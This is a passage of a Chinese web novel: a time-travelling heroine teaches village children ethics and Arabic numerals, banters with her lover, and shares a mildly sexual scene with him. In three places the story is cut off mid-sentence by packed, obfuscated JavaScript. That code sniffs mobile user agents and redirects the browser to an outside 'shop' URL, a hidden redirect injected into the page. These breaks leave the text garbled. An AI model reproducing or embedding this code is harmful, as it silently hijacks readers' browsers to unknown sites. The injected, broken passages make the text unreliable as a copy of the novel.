散步呢,瞧她还皱着眉神思不属,风宿恒便道:“别管民间如何,教你觉得重要的就行。” “小包子说教育这种事是和时代挂钩的,我以前总觉得臭小子狗嘴里吐不出象牙,可这话他说得在理。大容怎么选拔人才就该安排怎样的教育。我把现代那套搬来,孩子们学了,未来用不上,岂不耽误他们前程?” 风宿恒笑道:“大容和辛丰官员任命都靠举荐,其他国家也是如此。” 栖真啊了一声:“中土没有科举?” “科举?” “就是用全国统一考试的方式来甄选人才。” 风宿恒对她提的概念挺有兴趣:“全国统一考试?” “是啊,平民百姓也能参加考试,每人机会均等,各凭本事上位。“栖真道:“这样底层百姓才有阶层跃升的可能,这样的社会才有活力嘛。” 风宿恒沉吟半晌,道:“跟我说说。” 白日里挖出来的土堆得到处都是,他们避开工地,在外围走了一圈又一圈。栖真从科举讲到高考,从学科设置讲到社会发展对人才的需求,把她知道的历史和现代人才培养模式全说了一遍。 见风宿恒全程只是听,栖真还担心这一骨碌信息过去,他是否消化得了,便问他有没有问题,风宿恒想了想道:“时代生生不息,像浪潮向前推进……” “是时代越来越先进,社会发展越来越快。” 她在同化他的表达上向来不遗余力。 “对,越来越先进。”风宿恒在学她的表达上向来从善如流:“我只是觉得全国统一考试会否导致学生再不关注其他,而将所学只限定在考试科目?” 栖真道:“这确实是统一考试的弊端。历史如此,新时代也一样。但怎么说呢,有些事的弊端只能在实践中修正。瑕不掩瑜,这个制度之所以长存,是因为它给社会带来的利处要远大于弊处。回过来想想,若不划定一个范围,说不定范围里的都没人学呢。” 风宿恒思索道:“我觉得你更想说的是,考试只是选拔的手段,一个人该学什么,应该由社会发展的需求来决定。” 栖真意外地转头瞅他:“这是我说的吗?” “你不是这个意思吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318245|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可你总结得比我到位。” 风宿恒只是笑。 栖真感慨道:“听听这语气,这用词!要不知道你是谁,我都以为你也是穿越来的。” “小点声。”风宿恒看了眼周围,压低声音道:“妇唱夫随嘛,谁叫我家真真说话就这调调?听多了,说话就越来越像你。” “孺子可教。”栖真捂嘴笑。 “别忧心了吧?想明白这点,教什么不就明了了?”风宿恒道:“真真,你可是未来的大容皇后呢。” 栖真眨巴着眼,好像瞬间懂了他的意思。 风宿恒的话像点燃栖真心里的火,这似乎只是件小事,只是教十个孩子而已;又似乎能大出天去,大到能改变很多东西。栖真兴奋地一晚没睡着,去见重离时都觉得脚下虚浮地在飘。 在获得许可后直接躺进安置舱,戴上传输器。 书很多,她挑自己要的。大概一个小时左右,那种脑力衰竭的感觉再次出现,她又被弹出灰蒙空间。 栖真喘着气从安置舱里坐起:“怎么又被弹出来?” 重离道:“数据传输会消耗你的脑力,每次到脑力的临界点,系统会自动中断。” “就是说我如果身体状态好一点,每次能录入的信息量就大一些?” “是的。” 看来以后每次来见重离前她得睡足。 “你今天穿的衣服还挺有品味。”栖真坐回沙发对面的椅子,头晕让她趴到椅背上。 她不想让重离觉得她来就是为了用安置舱,她得跟他唠唠嗑。 重离对身上这套藏青的像阿玛尼高定的花式西装并不置评,只盯着栖真的面容看:“没睡好。” “是啊,一晚没睡。”栖真捂着嘴悄悄打个哈欠。 重离道:“良好的作息是高质量生活的保障。” “对,你说的没错。”栖真道:“以后我会注意。” 听听这对话,不知道的还以为他们是多要好的朋友。 栖真道:“我能看看我的幸福值吗?” “60。”重离道:“我早上看过了。” “哇!”栖真道:“我就知道一定会上去。” “这一周发生了什么事?” “很多啊!”栖真笑:“让朋友解开心结,开始造房子,然后……我觉得自己还是能做点事的。” 当然,最主要还是因为有心上人的体贴、怀抱和亲吻。 不过这个她不会和重离说。 重离道:“嗯。” 栖真:“照这个速度,很快就到100了。” 重离道:“不会很快。人类对幸福的感知类似函数曲线,难的是永不相交的Y轴。” 栖真皱眉:“哪种函数?” 重离道:“yx?=1” 栖真在脑海里反应了一下与之对应的函数曲线图,就听重离继续道:“……的左半边。” 栖真嘴角一抽。 “既然向上的曲线和Y轴永不相交,就是说不可能到达100。”栖真不明白:“可你觉得我的幸福值能到100。” “我只是说类似。这就是数学可以表达规律,而人类经常背离规律,给世界带来诸多不确定性的原因。” 栖真脑袋搁在手肘上看了他半晌,忽然道:“你要不要吃小笼?” 重离……… 她殷切的语气像个超市推销员:“yx?=1,1就是小笼包,下次带给你尝尝?” 栖真跟风宿恒说起这段时,风宿恒问,他要吃吗? “他说,那你下次带个恭桶来。” 风宿恒……… 第一次碰到给人送吃的,对方说记得带个恭桶来。 “他对小笼是有多厌恶?”风宿恒发觉重离也是个奇人。 重离的原话是:“下次带个排泄装置来。”,栖真怕风宿恒听不懂什么是“排泄装置”,直接改成“恭桶”。 “我觉得他不是在讽刺,他说的大概就是字面意思。”栖真笑道:“你能想象一个人,和我们一样活生生的人,从不进食,就靠躺在安置舱里过活吗?如果他那么多年一直这样活,我想他的洞里一定没有什么恭桶之类的东西,因为他的身体可能不需要排泄。” 栖真分析道:“所以我想他这么说,意思是他愿意试一下小笼包。” 通往吊桥的口子被前方一排棚子挡住,栖真无论去还是回都不会被人看到。 一看就是风宿恒让聂灵鸢安排的,栖真在棚子后快速抱了一下风宿恒的腰,撒娇道:“是我想吃小笼了,行不?” 风宿恒吻她:“管够。” 158. 第 158 章 很多事要边做边想边完善,但重要的是得先做。 这日栖真对十个孩子道:“我们以五日为限玩一个游戏,这个游戏叫一决胜负。你们可愿试试?” 这两日两组小朋友铆足劲背诗就为赢过对方,一听“一决胜负”这种词,更加心血高涨,吵着要玩。 栖真拿出一张纸,上书“一决胜负游戏规则”,道:“你们好好想想,真要玩,就在这里签名,一旦签下去,就得遵守游戏规则。” 栖真知道孩子们未必认得纸上的字,便念给他们听:“ 一. 辰时半至辰时末语文课 巳时半至巳时末数学课 申时到申时半科学课 二. 按时上课,一人迟到全组扣一分; 上课不认真听,全组扣一分; 不按时完成作业,全组扣一分; 作业得五角星,全组加两分。 三. 每五日统计一次全组分数,赢的小组可以指挥输的小组做一件事。 输的小组必须无条件接受。 她念了两遍,确保所有小朋友都明白,把纸往桌上一拍:“来,玩的签名。” 蓝队栾音、栾乐、钟情很有睥睨群雄的气势,上去刷刷落笔。红队那边就有些稀稀拉拉,栖真生怕几个小的连名字都不会写,索性帮他们写,然后让他们按手印。小花子、小木匠和狗子一看,嚯,自己大名都在上面了,沾地上湿泥就把手印按上去。还有四个孩子,倒是一笔一划写了名字,郑重地活像在签投名状。 栖真笑:“你们的签名我收着了,今天我们就开始第一课。” 蓝队坐方桌,红队坐圆桌,每个人面前都有纸笔。 栖真:“问大家一个问题,你们有没有想过自己长大后会成为一个怎样的人?” 几个小的面面相觑,倒是栾音道:“成为像阿绽这样的!” 栾乐跟着起哄:“对对。” 祁鸿儒道:“跟我爹学造房子。” 栖真笑道:“很好!你们可以再多想一下,率兵打仗的大将军会不会是你?为老百姓做好事让他们生活更好的宰相会不会是你?将你自己所有懂的东西教给无数人的一代宗师会不会是你?每天可以赚上万两银子店铺遍及全国的大老板会不会是你?” “也或者,将来你会是一个对人礼貌、品德高尚、被街坊邻里都喜欢的人?还是一个说话粗鲁、不明事理、别人都讨厌的人?当你想到自己能不能去做一件事的时候,你是觉得自己有能力做到,也一定可以做到;还是觉得不行,我哪来能力啊,我啥都不懂,我啥都没做成过,不行不行的?” “你们想做哪一种人呢?” 栾音道:“我想做大人物,可以保护大家。” 栾乐道:“我也要做大人物,我也要保护哥哥和阿情。” “是啊。”栖真道:“我们从小到大都有自己想保护的人。可是保护这件事,真的不容易。想要保护是你的想法,但是可以保护,却是你的能力。你说我好想好想,可我就是没有能力,那真的要你站出来保护的时候,你是不是要哭死了?是不是后悔死了?后悔我早干吗去了?为什么小时候不多学点东西,为什么平时有空的时候不多琢磨点本领?” “所以在你们这个年纪,爹爹娘亲帮你们担了生活的压力,他们辛苦劳作赚来银子,让你们有衣服穿、有东西吃的大好时光里,你们是不是要趁机多学点东西?学到什么程度呢?学到不仅让爹爹娘亲觉得你们厉害,你们自己都要觉得自己厉害,将来长大了走出去,谁都觉得你们厉害!” 栾音站起来:“我学!” 栾音也站起来:“我也要学!我要变得很厉害。” 鸿儒也不落人后:“我也学,至少要比他们两个厉害。” 白丁站起来:“我也学,可我们学什么呀?” 栖真笑,让他们坐下:“学习这个事,不能一口吃成个胖子,得细水长流。今天学一点明天学一点,日积月累,等三年后,五年后,十年后,你就变得很厉害很厉害啦!我们语文第一课,要教大家一篇文章,叫《弟子规》。这篇文章是告诉大家,每个人在天地安身立命,到底应该做到哪些最基本的东西。文章有点长,我们每天学一句。我们每天学习的目标是,一,今日学的字大家要能写出来,二,今日学的内容是什么意思,大家要弄明白。第三,你们怎么想这些内容,还有没有别的想法,我们要来辩论。你们觉得可以吗?” “可以!” 回答的不是蓝红小朋友,而是抱着小宝在后面站着听的英迈,他捏着鼻子学小朋友声音起哄呢。 红蓝队笑成一片。 栖真看着站在小朋友身后抱着臂的风宿恒、抱着孩子的英迈、用大叶子当扇子扇的阑珊,就生生有种新任老师上公开课的紧张。 尤其是风宿恒…… 当她说到“有没有要保护的人”时,就看到他咧开嘴角抬起眉,用手遮住半张脸憋笑的样子,就觉得自己课都要上不下去了。 啊啊啊,乱我心者风宿恒! 栖真举起事先写好的纸: “圣人训首孝弟次谨信泛爱众而亲仁有余力则学文” 带着大家读三遍,将字教下去,然后她取出事先准备的教具——用木头削出来的五块巴掌大的积木,上面分别写着“孝悌”、“谨信”、“爱众”、“亲仁”和“学文”五个词。 在圆桌上将五块积木按照弟子规的意思叠起来,最下面是“孝悌”,其上是“谨信”、再上面是“爱众”和“亲仁”,“学文”在最上面。每叠一块,她就讲解一块积木的意思,什么是孝悌、什么是谨信、什么是爱众。 她能够从几个大孩子专注的眼神里看出他们确实在认真听,也听明白了。三个小的,估计听得懵懵懂懂。没关系,混龄班,不求所有的孩子都在课堂上学会所有的东西。 然后栖真就开始提问:“你们都知道这五块积木代表什么了,我的第一个问题是,你们觉得有没有必要让自己具备这些品质和能力?” 这个问题比较简单,孩子们都很起劲地说要啊。 然后栖真问:“那除了这五块积木外,你们还想在自己的品质宝库里增加其他什么积木?” 这个问题就要大家好好想想了,栾音说:“我想修炼。” 栾乐说:“还要会烧饭。” 鸿儒道:“开心!” 白丁道:“勇敢!不怕虫子!” 大家哈哈大笑。 小花子怯生生道:“要不会饿肚子。” 栖真上去摸了摸小花子的头,给他一个鼓励的笑:“说得很好。” 小花子低头,脸都红了。 栖真道:“若‘学文’代表的是学习所有的知识,那么‘修炼’可以归类到让自己面对别人的暴力侵犯,有抵御的能力。比如爹爹打你屁股,你一个鲤鱼打挺逃走了,有会法术的人欺负你,你能施出比他更厉害的法术,pia~,”她打了个响指:“反而灭了他。所以我们可以把修炼这项写成‘学武’,栾音,你觉得可以吗?” 栾音点头:“可以。” “会烧饭,代表一个人有照顾自己的能力,今天他要在家里,他会烧饭把自己喂饱,把家人喂饱,今天要把他扔在荒山,他照样可以打猎,可以不让自己饿肚子。这叫生活自理能力。我们就以‘自理’两字概括,栾乐,你觉得怎么样?” 栾乐:“好的好的。” 栖真便在新积木上写下“自理”。 “鸿儒提到‘开心’,我觉得说得很好!一个人活在世上,愁眉苦脸也是过,开开心心也是过,那为什么不开开心心的呢!你们觉得开心这个事,是一种状态,比如我们一眼就看出栾乐今天很开心对吧,还是一种能力?比如你今天摔了一跤,膝盖磕出血,照理说你应该很不开心。可你对膝盖说,啊,老弟,今天让你放血了,明天记得报答我哦!然后你又开开心心站起来回家去。从那些会让人不开心的事情里仍然找到让你开心的点,让你时时刻刻都有一种开心的状态,这叫能力。你们觉得开心到底是什么呢?” 栖真见一时间下面没人回答地上来,便道:“这个你们可以慢慢想,我只是觉得人碰到开心的事就开心这是天生的,你会我会他也会,但碰到不开心的事还能开心,那就很不容易。可是就因为它不容易,所以这种乐观的品质才更加难能可贵。鸿儒提到的开心,我们姑且把它理解为后一种。” 说着在积木上写下“开心”两字。 “最后是花儿说的‘不会饿肚子’,我先要问个问题,这世上存不存在不吃东西都不会饿肚子的人?” 大伙都摇头:“没有,不可能!” 栖真道:“对,没有!那我们会饿肚子,是为什么呢?” 鸿儒道:“因为爹爹罚,不给饭吃。” 栾音和栾乐偷笑。 鸿儒向他们举拳头:“笑个屁!” 小花子嚅嗫道:“家里、家里没吃的了。” “爹爹罚你一顿,还能罚你一百顿?”栖真道:“很多人家饿肚子,就是因为家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以两个孩子为榜样,小花子也上去摆了一个。小花子是所有人里最小的,上面还有个哥哥小木匠。小木匠说话少,小花子虽然怯生生,但真上来了倒也不畏惧,他也把“谋生”放在最下面,第二块居然放了“孝悌”、然后是“自理”、“学武”、“学文”、“谨信”、“亲仁”,最后才是“开心”和“爱众”。 栖真道:“这个问题没有标准答案,每个人认为对自己重要的东西都不一样。不会因为别人的选择和你的不一样,他就是错,你就是对,倒过来也一样。不过很多时候呢,这些品质和能力根本分不开。比如大家都觉得谋生能力重要,可仔细想,你赚钱的过程中要不要跟人打交道?如果今天人家发觉你一点不讲信用,也就是不“谨信”,或者你连大字都不识一个,就是不“学文”,那别人愿意和你做生意吗?不愿意的话,你赚得到钱吗?所以啊,虽然怎么摆这些积木没有固定的模式,但有一点很重要,就是那些你内心的东西,比如“孝悌”、“爱众”、“亲仁”和“谨信”是让你做事更顺利的基石,就像你们家梁柱下面那块石头。没有这块石头垫着,上面的梁再高都站不稳。但是有了这块石头呢,梁搭起来了,房子造起来了,像“谋生”、“学武”、“学文”那些,也能做得更顺利。我们为什么要读书,首先是为了让大家知道怎么想、怎么做、怎么说,才能成为一个“孝悌”、“爱众”、“亲仁”、“谨信”的人,怎么把你们的那块基石磨好,这是“修内心”。其次,当然就是为了学本领啦!大家明白吗?” 时间差不多了,栖真正想宣布下课,便听后排有人举手:“栖夫子,让您来摆这些积木,您会怎么选呢?” 栖真……… 宿恒,你干吗来的? 下面小的一看有大人问,也笑着起哄:“栖真来摆,栖真来摆!” 栖真想了想,又在新的积木上写下两字,摆了一遍。 “姻缘”、“爱众”、“孝悌”、“开心”、“谨信”、“自理”、“亲仁”、“学文”、“学武”、“谋生” 堆完了,她看似对着所有人,其实对着风宿恒道:“把姻缘放下面,是因为我要把它给一个为我付出所有的人。他的存在在我心中高于一切。他就是我上辈子、这辈子、下辈子……每一辈子的宿命和起点。” 栖真大庭广众下这番话说得太认真,让原本只想开个玩笑的风宿恒都以手架额,不想让人看出他前所未有的脸燥来。 159. 第 159 章 第一堂课上完,栾音缠着栖真问什么是内外兼修,栾音想知道积木怎么做,鸿儒更是对栖真鞍前马后,说她教的比以前的夫子有趣太多,好喜欢她云云。 等数学课开始,栖真压力就更大了。 因为后面旁听的大人翻了个倍,柳絮回和慕容索性把绣架搬来,一面绣一面听。摇篮也来了,英迈和典叔搬两个杌子坐,连聂灵鸢和许子鉴都站在风宿恒身边。 栖真集中精神,清了清嗓。 “现在我们要上一堂很好玩的课。”她把上堂课的积木揣手里,放一块到桌上:“大家一定会数数,告诉我,现在桌上有几块积木?” “一块” 她一面放,一面让大家数。 “两块” “三块” …… “非常好,看来大家数到九都没问题。接下来我想问的是,你们能不能把一到九写下来?” “我会!”栾音唰唰提笔,在白纸上写下壹贰叁肆伍…… 栖真高声问聂灵鸢:“灵姐,我们房子造好预计要多少银子?” 聂灵鸢立刻报:“算下来,三万一千七百三十五两。” 栖真问:“有没有小朋友能把这个数字写下来给我看看?” 孩子们挠头,栖真笑道:“这还只是三万两,如果是三百二十五万九千九百九十九两呢?用文字写下来是不是要很长一串?我们这堂课叫数学课,数学呢是这个世界上最纯粹的学科,是所有科学发展的基础,学了这门课,你们就学会了数数字,学会帮你们爹娘算账,更重要的是,你会发现这个世界的真相会慢慢在你面前打开。这种真相的基石就是数字。” 她在纸上写下0-9十个数:“这是阿拉伯数字,是一种计数的符号,什么叫符号呢,就像花儿大名叫赵西华,可你们给他起了个代号,叫花儿。” “不对,是小花子!”白丁道。 栖真笑了一下:“你们喜欢叫他小花子,我喜欢叫他花儿。这就是代号,也就是符号。我们数数也是一样的。这是一块积木,我们写在文章里,用壹这个字,可是在数学里,得给它一个更简洁的代号,就是1。” 她在白纸上每个阿拉伯数字的下面画上黑色圆点,将每个数字代表的数量说了一遍:“来,我心里默数到60,你们最快速度记这10个数字。接下来我们要玩两个游戏,红蓝队准备好了吗?” 随着一声令下,两队孩子闭眼,抓耳挠腮开始快速记忆。 栖真心里数着秒,看了眼站在后面的聂灵鸢和许子鉴,见他俩若有所思的样子。 时间到。 “来,现在所有的小朋友排一长排,每个到我面前的都要准确报出我手里的数字,报完排队伍最后去。” 排在第一的栾乐见栖真从手中一碟卡片里抽出一张放到最前面。 “3”。他快速报出,跑到队伍末尾。 下一个钟情:“4”。 接着栾音:“0” 轮到白丁,一看栖真翻出来的卡片,一时想不起来:“……” “哈哈哈,红队扣分扣分,这是9,9都不知道。”蓝队拍手,兴高采烈。 白丁垂头丧气回队尾。 不过玩了三轮,所有的数字孩子们都能脱口而出了。 栖真鼓励道:“下面我们玩第二个游戏,快问快写。” 她在方桌和圆桌上各铺一张白纸。 “蓝队一人起来说一句话,比如我家有五只鸡,红队一人就要马上在纸上写下阿拉伯数字5,蓝队先来报,红队写。” 钟情:“我家有一百两!” 栖真:“必须是0-9之内。” “我家有六两银子。”钟情立马改口。 鸿儒立马在纸上写6。 栾音:“我一天吃三顿饭。” 白丁立马写下3。 栾乐:“我早上吃了两个蛋。” 阿岳:“………” “哈哈,阿岳不会写2,笨死了,我写给你看!”栾乐直接跑过去在红队纸上写了个2。 红队起哄:“会写了不起?继续继续!” 这一轮红队输了两个人头,接下来轮到红队考蓝队。 白丁:“我一天放八个屁!” “呸!”钟情写下“8”。 鸿儒:“我们蓝队有七个人。” 栾乐写下“7”。 蓝队怎么考都不倒,最终又是全胜。 “倒是用点心啊!”鸿儒对自己队友吼。 “没关系,只是新手小游戏,不计分!”栖真安抚两句,觉得孩子们0-9基本都掌握了,便道:“以为到这里就是最大的挑战了?刚才钟情说,家里有一百两银子。那我们现在只学了0-9,这一百,到底要怎么用阿拉伯数字表示呢?接下来你们别出声,看我写的东西有什么规律。” 小朋友们点头,或做捂嘴状。 没有黑板,要给大家写板书实在有点麻烦。 “阿畅,过来帮个忙。”栖真点名:“站这儿,举着这张纸。” 风宿恒上前来贴身举纸,方便栖真书写。她在纸上竖着写一个报一个。 “0、1、2……11、12、13…97、98、99、100。” 虽然栖真跟大家说我写你们看,可这么一个个数字念下来,孩子们慢慢发现了规律,当她写到50以上,有几个能跟着她一起念了。再往后,念的人越来越多,声音越来越响。到90后,几乎所有人都明白过来这些数到底如何构成了。 “你们好厉害!”栖真回首:“都不用我教自己就会了?必须每队加五分!” “我要考考你们,按照顺序你们能够读下来,那跳着,大家是否也能立刻反应出这是什么数字呢?” “来,快指快答!”栖真用笔杆随意戳了白纸上某个数字。 “45!”四个孩子异口同声。 “不错!”栖真笑着再指第二个。 “78!”几个孩子紧张地站起来。 又试第三个、第四个、第五个。 大家抢答,没人坐得住了。 “你们反应好快。”栖真总结道:“今天这堂课,我们学了0-100的阿拉伯数字。今天的作业,听好了。请每个人在山上找五样数量在一百以内的东西,然后让另一组的人来检查,如果检查出来的数字和你数出来的不一样,那么请红蓝队所有人一起数,结果是正确的,验证队扣一分;错误的,出题队扣一分。最后的结果报给我做记录。这项任务请大家在明日数学课前完成,能做到吗?” “能!”孩子们跃跃欲试,又笑又跳。 “下课。” 十条欢腾的小犬四散开,各找各题去了。 栖真返身接过风宿恒手里的白纸,卷起来,道声辛苦了。 风宿恒嘴角笑意收不住,擦肩而过时轻声道了句:“78妙啊。” 什么?栖真没反应过来。 想了想,78在纸上的位置,好像就在风宿恒左胸敏感点上。 所以,他以为她那一戳是大庭广众趁机撩他? 栖真…… 因风宿恒带来的大圆桌,大部队用膳再不用蹲地上。午膳时聂灵鸢赞同桌的栖真:“这位小姐的课实在精彩。” 栖真腼腆地笑。 祁南英道:“她叫栖真。” 聂灵鸢道:“栖真的课别说小的们,我们都想听。” 她不过才上了一上午的课,可那个角落孩子们动静大得整个工地都听得到,大人们会时不时看一眼,烧饭的嫂子们也在开心地议论,说那女夫子真厉害,教的东西孩子们爱死了。吃饭的时候和自家男人坐一起,也是连声夸。 这一夸,很快地,所有的工匠都知道了。 当然,别人作何感想栖真是不知道的,她只知道聂灵鸢在问:“阿拉伯数字这东西我倒首次听说,若学会,是否记账方便很多?” 她知道栖真来自未来,所以不会去问你怎么知道这些东西,或者阿拉伯数字的“阿拉伯”是什么意思。她不过听了一堂课,就感觉栖真教授的东西一定极有用。 “不止记账。”栖真喝口汤,道:“数学太重要了。我们造房子、统计数据、研究空间和事物的变化都要用到数学。数学就是一切学科的基础。数学能够发展多深远,中土的科技就能走多前面。” 风宿恒又给她加了碗汤:“讲了一上午,多喝点。” 聂灵鸢对祁南英道:“祁哥,听听,造房子也要用到数学呢。” 祁南英又想挠头了:“我钻了那么多年营造,也没学过数学啊。” 栖真道:“数学里有个分支叫几何,是建造的基础。比如想造一面笔直的墙,就要用到勾股定理,勾三股四弦五。这个中土的《九章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13348615|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算经》里是有记载的。” 祁南英好奇,扒了两口饭就请栖真演示。 栖真起身到空地处,拿工匠留下的铲子在草甸上定个点:“房子墙面都是直角,如果现下只有这个点,我们怎样确定造出来的是直角墙面呢?” 她向一个方向跨三步:“一步差不多一米,这条线是三米。” 在三米的顶点站定,用铲挖出点土,做了个标记,又回到起始点,往另一个方向走了四步:“差不多四米。” 最后,从这个顶点跨到第二点,发现是五步不到一些。栖真回头对第三个点的位置做微调,让它过去至第二点正好是五步。 “三点围起来就是直角三角形,祁哥可以测一下顶角,是不是直角?” “不用测啊!”祁南英拿来两块方砖,直接往那点上一拼。一块砖的一头正好拼在另一块砖的侧边,严丝合缝:“这样拼上去,就一定是直的啊。” 栖真笑道:“若砖造时边线歪了呢?运输过程中敲掉一角呢?拼上去岂非也是歪的?一块砖歪一点点,一百块砖角度就偏的家里都不认识了。” 祁南英瞪眼:“不会的,不可能!我们工匠会看的,我做了那么多年营造,这还看不出来?” “有经验的工匠是能看,但这不是科学,是人测。科学就是用真理,用公示算,算出来的直角才是真正的直角。它不凭经验,不因各种情况而转移。这计算的一套原理,就是数学。” 祁南英不以为意,觉得这女人就是在一本正经糊弄人。他老祁家祖传的营造工艺,还要她来教怎么造? 面上虽客气,私下却不以为然,不想听她胡扯了。 风宿恒从围观人群里出来,催栖真回去吃饭。很多人吃完离桌了,就风宿恒陪着她。 栖真小声道:“我觉得他好像没明白我的意思。” 风宿恒压低声音:“教能接受的,放弃冥顽不灵的。” “可能是我没讲好。”栖真一面吃一面琢磨。 “我都懂了,怎么没讲好?”风宿恒把特意留的汤往前推了推。 “你多厉害啊?我说的什么你不懂啊?”栖真笑,索性汤拌饭,有一口没一口地吃着,沉思道:“很多知识的普世都是先人付出巨大代价才证明给世人看,我怕……” “别怕,有我在。”风宿恒道:“即便你说太阳不存在,我也不会让人动你一根指头。” “太阳当然存在。”栖真嘿嘿笑:“坐我旁边呢。” 风宿恒也笑,若不是身边来来去去还有人,真想亲她一口。 他俩一面吃一面尔侬我侬,却不知回到教学区的容绽徒惹情多。 吃完饭的栾乐回到桌边,见桌上一叠纸被风吹下去,赶忙追回,发现其中一张纸上写着首他们没学过的新词。 便听身后阑珊道:“别乱翻啊。” 栾乐吐舌,像做错事被抓到,忙将新词递给阑珊身边的容绽:“是、是栖真给你的。” 他本想说,这是栖真让你誊写后教我们的,可他见着容绽就发憷,话没说清一溜烟跑了。 容绽也以为是让他誊的新词,自让阑珊读。 “东风夜放花千树,更吹落,星如雨。宝马雕车香满路。凤箫声动,玉壶光转,一夜鱼龙舞。蛾儿雪柳黄金缕,笑语盈盈暗香去。众里寻他千百度,蓦然回首,那人却在,灯火阑珊处。” 容绽随听随写,写完,笔尖一顿。 众里寻他千百度,蓦然回首,那人却在灯火阑珊处? 这分明是首情诗! 栖真怎会教孩子们一首情诗? 容绽忽然想到,刚才栾乐说,这是栖真给他的。 笔都忘了放,容绽懵在那里。 栖真,送他一首情诗? 这便想起早上她说过的话:“他的存在在我心中高于一切,他是我上辈子、这辈子、下辈子……每一辈子的宿命和起点。” 他看不见,不知她说这话时怎生情形,乍听,只觉栖真心中一定有个非常非常喜欢的人。 难道,她说的那个人是他? 不知为何,些许沉郁一扫而空,取而代之的却是焦躁和忐忑。 容绽搁笔,沉默地坐在椅上,任阑珊在边上说什么都没听全。 风吹袍袖,他悄悄蜷起拳。 确实有些烦恼…… 情爱之事,这辈子他都不想碰了。 160. 第 160 章 下午继续授课。 午膳时风宿恒悄悄告知下午要回次金光万丈城,没他旁听,栖真讲课轻松多了。 等课上完,傍晚时分看完容绽写的今日教案,正和他商量怎么修改,就听一声恸哭直扑面门。 “小姐!小姐!终于找到你了!” 栖真吓一跳,看向扑来跪倒的人。 颜心! 她又惊又喜,朝山道口看去,风宿恒果然回来了,所以是他把颜心带上山? 颜心布衣芒履,一身落拓,抱着她哭得不撒手:“小姐,自从大荒流走散,我一直在找你啊!” 栖真熟知风宿恒手笔,自然也要配合演一演:“好颜心,快起来,能再见比什么都好。” 谁知颜心退开,咚咚咚磕三个响头:“小姐,天大的好消息!大仇得报,那奸贼死了!” 栖真莫名:“谁?” “就是害死咱们府上六十口的仇人,辛丰大皇子风宿恒,他死了!” 一石惊起千层浪,消息在人群里产生强烈的涟漪,絮回他们惊诧地围过来:“死了?怎么死的?何时?” “我路上听说的,是肺疾,乾都都发丧了!我怕消息有误还问了好几拨人。小姐,是真的,他真地死了!”颜心声嘶力竭,激动得不能自已:“恶人无好报,我们收拾不了他,自有老天爷来收拾!” “因果报应,因果报应啊!” “死得好!死得好!多行不义必自毙!” “肺疾?便宜他了!这种人就该天打雷劈、绝子绝孙!” “天理昭昭,老天开眼啊!” 英迈、成校、典叔、阿陶热泪盈眶,有大仇得报的扬眉吐气。絮回和慕容相拥而泣。容绽只是坐着,或心潮起伏,旁人也难以窥视。 诅咒和谩骂在四周此起彼伏,栖真黑着脸疾步离开人群。 听不下去了。 等离山顶远了,才沉声道:“做什么来这出?” 风宿恒见她主动往林中去,便会意跟上。至深处,一把从背后抱住人道:“早说过骂两句无关痛痒,我从小被人骂的还少了?” 栖真挣扎道:“可我就是听不得你被人骂,一个字都不行。” 风宿恒将她翻过压在树上,用唇堵她那张带着火气的嘴。她今日在众人面前表白、撩拨,还因不想听他被骂而发火,真挠人心肝啊,他吻得贪婪,就想吃了她,半晌才放开道:“那么大声做甚?把人引来吗?” “别每次都靠亲一下糊弄过去。”栖真捶他。 “那亲两下。”风宿恒意犹未尽,呢喃着继续。 几天没亲热了。 此刻两人唇齿激烈交缠,他直勾勾咬着栖真的唇瓣辗转厮磨,脑中全是那晚毡帐里的旖旎画面。见过更动魄的,光亲就显得寒碜。风宿恒喘息渐重,分开后撑着树干强忍。 谁知下面坚/挺一下被人握住。 风宿恒被栖真的主动惊呆了。 栖真心头有火,之前被他按着手又不是没碰过,现下隔着布料在头上捏:“再找人骂到我跟前,就、就这么治你!” 拇指力道加重,一下按在最敏感处,风宿恒一声激喘:“你要我命吗?” “这就要命了?”反正开了头,她手下胆子渐大。握住的四指收力,拇指放肆,对顶头揉捏按搓起来,片刻就见男人眼神浸润,脖间青筋暴起,竟让她有种‘原来如此’的快意。 忽然手心一热,感受到某种湿。栖真不敢置信地看手心,电光火石间以为明了,脱口道:“你、你shsh……?” “没!”风宿恒浑身燥热地低吼:“不是!” “那这?”林中光线晦涩,可不妨碍瞧见他袍子上洇开的很小一滩水渍。 爱欲总和潮湿脱不开干系,风宿恒知道她不懂,生怕被看低,难得面露不甘:“我没那么快,你试过便知。” 栖真…… 谁管你快不快! 她咬唇,不想承认自己的好奇不合时宜,但再让她下手,也是真不敢了。 现在怎么办? 天气渐热,他穿得薄,看着好明显……山巅人多眼杂,天还亮着呢。 风宿恒手掌来回搓起粗粝的树皮:“你先回。” “放你一个?”栖真后知后觉适才是否做错事:“我陪你。” “那更下不去!”风宿恒心痒地想捏死她:“还是你要我现在就……?” “别!没!”栖真惊叫:“我走、这就走!” “乖。”风宿恒推了她一把:“先上去,安顿好颜心。” 